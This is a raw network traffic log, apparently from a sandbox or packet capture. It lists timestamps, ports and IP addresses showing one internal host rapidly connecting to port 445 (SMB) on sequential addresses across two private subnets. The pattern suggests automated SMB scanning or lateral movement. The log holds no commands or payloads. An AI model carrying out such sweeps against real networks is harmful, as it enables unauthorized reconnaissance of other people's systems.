Jul 6, 2024 14:11:30.513086081 CEST	445	51426	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:30.513150930 CEST	51426	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:30.513247013 CEST	51426	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:30.518708944 CEST	445	51426	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:30.518785000 CEST	51426	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:30.520689964 CEST	445	51426	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:30.523159027 CEST	51429	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:30.523164034 CEST	51428	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:30.523216009 CEST	51430	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:30.524365902 CEST	51432	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:30.528275967 CEST	445	51429	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:30.528287888 CEST	445	51428	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:30.528357983 CEST	51429	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:30.528450966 CEST	51428	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:30.528450966 CEST	51428	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:30.528923988 CEST	445	51430	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:30.528985977 CEST	51430	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:30.529032946 CEST	51430	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:30.529807091 CEST	445	51432	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:30.529866934 CEST	51432	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:30.529942989 CEST	51432	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:30.533647060 CEST	445	51428	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:30.533713102 CEST	51428	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:30.533780098 CEST	445	51430	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:30.534071922 CEST	445	51428	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:30.534832001 CEST	445	51430	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:30.535528898 CEST	445	51432	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:30.535588026 CEST	51432	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:30.538769007 CEST	445	51428	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:30.540122032 CEST	51433	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:30.546847105 CEST	445	51433	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:30.547894001 CEST	51435	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:30.551995993 CEST	51433	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:30.551995993 CEST	51433	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:30.557488918 CEST	445	51433	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:30.557621956 CEST	445	51433	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:30.566092968 CEST	51436	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:30.572490931 CEST	51437	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:30.573628902 CEST	445	51435	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:30.578326941 CEST	445	51436	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:30.585226059 CEST	51441	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:30.586728096 CEST	445	51437	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:30.589550018 CEST	51436	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:30.589550018 CEST	51436	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:30.591442108 CEST	445	51441	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:30.593935966 CEST	51439	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:30.594404936 CEST	51441	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:30.594404936 CEST	51441	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:30.601711988 CEST	445	51441	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:30.601880074 CEST	445	51441	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:30.607115984 CEST	445	51436	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:30.607655048 CEST	51444	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:30.607880116 CEST	445	51436	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:30.611650944 CEST	445	51439	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:30.612559080 CEST	51435	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:30.619364023 CEST	445	51435	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:30.619890928 CEST	51442	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:30.619890928 CEST	51445	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:30.626188993 CEST	51435	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:30.626188993 CEST	51437	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:30.626188993 CEST	51437	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:30.631124020 CEST	445	51442	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:30.631210089 CEST	445	51435	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:30.631378889 CEST	445	51437	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:30.632159948 CEST	51447	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:30.633377075 CEST	51439	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:30.633377075 CEST	51439	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:30.633378029 CEST	51435	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:30.633637905 CEST	445	51445	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:30.634793043 CEST	445	51444	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:30.637109995 CEST	445	51447	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:30.640810966 CEST	445	51439	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:30.641436100 CEST	51442	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:30.641436100 CEST	51442	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:30.641436100 CEST	51445	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:30.642420053 CEST	51437	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:30.642663002 CEST	51444	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:30.642663002 CEST	51444	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:30.642663002 CEST	51447	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:30.646336079 CEST	445	51442	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:30.646604061 CEST	445	51445	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:30.647253036 CEST	51442	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:30.647253036 CEST	51445	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:30.651762962 CEST	51445	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:30.652179956 CEST	51453	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:30.652792931 CEST	445	51444	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:30.652940035 CEST	445	51444	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:30.654103994 CEST	51448	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:30.654875040 CEST	51447	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:30.658787012 CEST	445	51445	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:30.658859015 CEST	51454	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:30.660636902 CEST	445	51447	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:30.660732985 CEST	445	51447	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:30.664601088 CEST	445	51453	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:30.664609909 CEST	445	51454	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:30.665699959 CEST	51453	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:30.665699959 CEST	51454	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:30.665699959 CEST	51453	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:30.666002035 CEST	51456	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:30.668241978 CEST	51439	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:30.671118975 CEST	445	51456	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:30.671221018 CEST	51456	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:30.671556950 CEST	445	51453	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:30.672238111 CEST	51444	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:30.673623085 CEST	51450	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:30.673623085 CEST	51452	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:30.673844099 CEST	51453	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:30.674926043 CEST	445	51453	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:30.675261021 CEST	445	51454	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:30.675349951 CEST	51454	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:30.676632881 CEST	445	51456	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:30.676681042 CEST	51456	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:30.678651094 CEST	51454	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:30.679044008 CEST	445	51448	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:30.680454969 CEST	445	51453	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:30.681133032 CEST	51456	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:30.683700085 CEST	445	51454	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:30.686080933 CEST	445	51456	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:30.687657118 CEST	51460	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:30.688489914 CEST	51458	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:30.688613892 CEST	445	51450	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:30.689822912 CEST	445	51444	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:30.694571018 CEST	445	51460	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:30.695173025 CEST	445	51458	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:30.696459055 CEST	51463	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:30.698705912 CEST	51461	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:30.698705912 CEST	51458	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:30.698705912 CEST	51458	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:30.699249029 CEST	51462	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:30.699409962 CEST	445	51452	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:30.701313019 CEST	445	51463	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:30.703324080 CEST	51463	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:30.704052925 CEST	445	51462	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:30.704197884 CEST	51448	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:30.704197884 CEST	51448	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:30.704197884 CEST	51450	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:30.708168030 CEST	51460	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:30.708168030 CEST	51460	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:30.708559990 CEST	445	51463	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:30.709522963 CEST	51462	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:30.709522963 CEST	51462	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:30.709736109 CEST	445	51448	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:30.709969997 CEST	445	51461	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:30.710272074 CEST	445	51458	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:30.710443974 CEST	445	51458	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:30.712343931 CEST	51463	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:30.712343931 CEST	51463	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:30.715991020 CEST	51461	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:30.715991020 CEST	51461	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:30.715991020 CEST	51465	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:30.716154099 CEST	445	51460	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:30.717999935 CEST	51450	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:30.717999935 CEST	51452	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:30.717999935 CEST	51452	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:30.717999935 CEST	51448	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:30.719547033 CEST	445	51463	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:30.721273899 CEST	51466	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:30.722281933 CEST	445	51462	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:30.722290993 CEST	445	51462	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:30.724093914 CEST	445	51450	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:30.724746943 CEST	445	51450	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:30.724756956 CEST	445	51452	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:30.725123882 CEST	445	51452	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:30.728286028 CEST	51468	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:30.728789091 CEST	51450	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:30.731180906 CEST	445	51461	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:30.731189013 CEST	445	51465	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:30.731252909 CEST	445	51466	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:30.732279062 CEST	51465	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:30.732279062 CEST	51465	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:30.733201027 CEST	445	51461	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:30.738729954 CEST	51460	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:30.741233110 CEST	445	51465	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:30.741353989 CEST	445	51465	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:30.742763042 CEST	51471	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:30.745034933 CEST	51465	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:30.745034933 CEST	51473	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:30.745182991 CEST	445	51468	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:30.745860100 CEST	51468	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:30.745860100 CEST	51468	445	192.168.2.6	192.168.0.177
Jul 6, 2024 14:11:30.750183105 CEST	445	51471	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:30.750204086 CEST	445	51465	192.168.0.176	192.168.2.6
Jul 6, 2024 14:11:30.750209093 CEST	445	51473	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:30.751065016 CEST	445	51468	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:30.751240015 CEST	445	51468	192.168.0.177	192.168.2.6
Jul 6, 2024 14:11:30.751667976 CEST	51473	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:30.751667976 CEST	51473	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:30.753510952 CEST	51469	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:30.753510952 CEST	51466	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:30.753510952 CEST	51466	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:30.754121065 CEST	51471	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:30.754121065 CEST	51471	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:30.758477926 CEST	445	51473	192.168.1.50	192.168.2.6
Jul 6, 2024 14:11:30.760340929 CEST	445	51469	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:30.760581970 CEST	51475	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:30.760581970 CEST	51473	445	192.168.2.6	192.168.1.50
Jul 6, 2024 14:11:30.766779900 CEST	51472	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:30.768500090 CEST	445	51471	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:30.768662930 CEST	51471	445	192.168.2.6	192.168.0.178
Jul 6, 2024 14:11:30.769625902 CEST	445	51471	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:30.775366068 CEST	51477	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:30.776313066 CEST	445	51472	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:30.776331902 CEST	445	51475	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:30.776537895 CEST	445	51471	192.168.0.178	192.168.2.6
Jul 6, 2024 14:11:30.777383089 CEST	51475	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:30.777383089 CEST	51475	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:30.778422117 CEST	51469	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:30.778738022 CEST	445	51466	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:30.779814005 CEST	445	51466	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:30.784733057 CEST	445	51477	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:30.789446115 CEST	51481	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:30.790318012 CEST	51477	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:30.790318012 CEST	51477	445	192.168.2.6	192.168.0.180
Jul 6, 2024 14:11:30.790318012 CEST	51480	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:30.790575981 CEST	445	51475	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:30.790577888 CEST	51469	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:30.790577888 CEST	51478	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:30.790577888 CEST	51472	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:30.790577888 CEST	51472	445	192.168.2.6	192.168.0.179
Jul 6, 2024 14:11:30.790926933 CEST	51482	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:30.792391062 CEST	445	51475	192.168.1.51	192.168.2.6
Jul 6, 2024 14:11:30.794279099 CEST	445	51469	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:30.794357061 CEST	51475	445	192.168.2.6	192.168.1.51
Jul 6, 2024 14:11:30.794377089 CEST	445	51481	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:30.795842886 CEST	445	51482	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:30.795918941 CEST	51482	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:30.796458006 CEST	445	51469	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:30.796467066 CEST	445	51478	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:30.796475887 CEST	445	51472	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:30.796492100 CEST	445	51472	192.168.0.179	192.168.2.6
Jul 6, 2024 14:11:30.796838045 CEST	445	51477	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:30.796925068 CEST	445	51477	192.168.0.180	192.168.2.6
Jul 6, 2024 14:11:30.799191952 CEST	445	51480	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:30.799262047 CEST	51480	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:30.800713062 CEST	51482	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:30.800970078 CEST	51481	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:30.800970078 CEST	51481	445	192.168.2.6	192.168.0.182
Jul 6, 2024 14:11:30.801017046 CEST	51480	445	192.168.2.6	192.168.0.181
Jul 6, 2024 14:11:30.801187038 CEST	445	51482	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:30.801246881 CEST	51482	445	192.168.2.6	192.168.1.53
Jul 6, 2024 14:11:30.802726984 CEST	51466	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:30.804900885 CEST	51484	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:30.805730104 CEST	445	51482	192.168.1.53	192.168.2.6
Jul 6, 2024 14:11:30.806057930 CEST	445	51480	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:30.806557894 CEST	445	51481	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:30.807225943 CEST	445	51480	192.168.0.181	192.168.2.6
Jul 6, 2024 14:11:30.808267117 CEST	445	51481	192.168.0.182	192.168.2.6
Jul 6, 2024 14:11:30.809895039 CEST	445	51484	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:30.809973001 CEST	51484	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:30.812793016 CEST	51469	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:30.812793016 CEST	51478	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:30.812793016 CEST	51478	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:30.815527916 CEST	445	51484	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:30.815583944 CEST	51484	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:30.819267988 CEST	51484	445	192.168.2.6	192.168.1.54
Jul 6, 2024 14:11:30.820802927 CEST	51486	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:30.824127913 CEST	445	51484	192.168.1.54	192.168.2.6
Jul 6, 2024 14:11:30.825315952 CEST	445	51478	192.168.1.52	192.168.2.6
Jul 6, 2024 14:11:30.829854965 CEST	445	51486	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:30.829907894 CEST	51486	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:30.829989910 CEST	51486	445	192.168.2.6	192.168.0.183
Jul 6, 2024 14:11:30.834762096 CEST	445	51486	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:30.835535049 CEST	51490	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:30.839368105 CEST	51488	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:30.839617968 CEST	51478	445	192.168.2.6	192.168.1.52
Jul 6, 2024 14:11:30.839618921 CEST	51489	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:30.839761019 CEST	445	51486	192.168.0.183	192.168.2.6
Jul 6, 2024 14:11:30.840334892 CEST	445	51490	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:30.840931892 CEST	51490	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:30.840931892 CEST	51490	445	192.168.2.6	192.168.0.185
Jul 6, 2024 14:11:30.842696905 CEST	51492	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:30.852384090 CEST	445	51492	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:30.852421045 CEST	445	51490	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:30.852471113 CEST	445	51488	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:30.855571985 CEST	445	51490	192.168.0.185	192.168.2.6
Jul 6, 2024 14:11:30.856591940 CEST	445	51489	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:30.857346058 CEST	51493	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:30.857346058 CEST	51492	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:30.857346058 CEST	51492	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:30.859489918 CEST	51489	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:30.859489918 CEST	51489	445	192.168.2.6	192.168.0.184
Jul 6, 2024 14:11:30.863043070 CEST	445	51493	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:30.863466024 CEST	445	51492	192.168.1.56	192.168.2.6
Jul 6, 2024 14:11:30.866669893 CEST	51488	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:30.866671085 CEST	51488	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:30.866919041 CEST	51496	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:30.868824959 CEST	51495	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:30.869824886 CEST	445	51489	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:30.872347116 CEST	445	51496	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:30.872404099 CEST	51496	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:30.872473001 CEST	51496	445	192.168.2.6	192.168.0.186
Jul 6, 2024 14:11:30.873836040 CEST	445	51489	192.168.0.184	192.168.2.6
Jul 6, 2024 14:11:30.875384092 CEST	51493	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:30.875384092 CEST	51492	445	192.168.2.6	192.168.1.56
Jul 6, 2024 14:11:30.875384092 CEST	51493	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:30.875384092 CEST	51498	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:30.877129078 CEST	445	51488	192.168.1.55	192.168.2.6
Jul 6, 2024 14:11:30.877255917 CEST	445	51496	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:30.877384901 CEST	445	51496	192.168.0.186	192.168.2.6
Jul 6, 2024 14:11:30.883598089 CEST	445	51495	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:30.884880066 CEST	51500	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:30.889750957 CEST	445	51500	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:30.892726898 CEST	51500	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:30.897428036 CEST	51500	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:30.897768021 CEST	51495	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:30.897768021 CEST	51495	445	192.168.2.6	192.168.0.187
Jul 6, 2024 14:11:30.898946047 CEST	445	51498	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:30.898956060 CEST	445	51493	192.168.1.57	192.168.2.6
Jul 6, 2024 14:11:30.899115086 CEST	445	51500	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:30.899158955 CEST	51500	445	192.168.2.6	192.168.1.59
Jul 6, 2024 14:11:30.903928041 CEST	51493	445	192.168.2.6	192.168.1.57
Jul 6, 2024 14:11:30.904243946 CEST	445	51500	192.168.1.59	192.168.2.6
Jul 6, 2024 14:11:30.904253006 CEST	445	51495	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:30.904722929 CEST	445	51495	192.168.0.187	192.168.2.6
Jul 6, 2024 14:11:30.905311108 CEST	51488	445	192.168.2.6	192.168.1.55
Jul 6, 2024 14:11:30.910933018 CEST	51501	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:30.924760103 CEST	51498	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:30.924760103 CEST	51498	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:30.924760103 CEST	51504	445	192.168.2.6	192.168.1.61
Jul 6, 2024 14:11:30.931164026 CEST	51506	445	192.168.2.6	192.168.0.189
Jul 6, 2024 14:11:30.931962967 CEST	445	51498	192.168.1.58	192.168.2.6
Jul 6, 2024 14:11:30.932234049 CEST	51508	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:30.932732105 CEST	445	51501	192.168.1.60	192.168.2.6
Jul 6, 2024 14:11:30.933299065 CEST	51498	445	192.168.2.6	192.168.1.58
Jul 6, 2024 14:11:30.938352108 CEST	445	51504	192.168.1.61	192.168.2.6
Jul 6, 2024 14:11:30.940704107 CEST	445	51508	192.168.1.62	192.168.2.6
Jul 6, 2024 14:11:30.940776110 CEST	51508	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:30.940861940 CEST	51508	445	192.168.2.6	192.168.1.62
Jul 6, 2024 14:11:30.941160917 CEST	51505	445	192.168.2.6	192.168.0.188
Jul 6, 2024 14:11:30.941160917 CEST	51507	445	192.168.2.6	192.168.0.190
Jul 6, 2024 14:11:30.941160917 CEST	51501	445	192.168.2.6	192.168.1.60
Jul 6, 2024 14:11:30.942164898 CEST	445	51506	192.168.0.189	192.168.2.6
Jul 6, 2024 14:11:30.943651915 CEST	51506	445	192.168.2.6	192.168.0.189
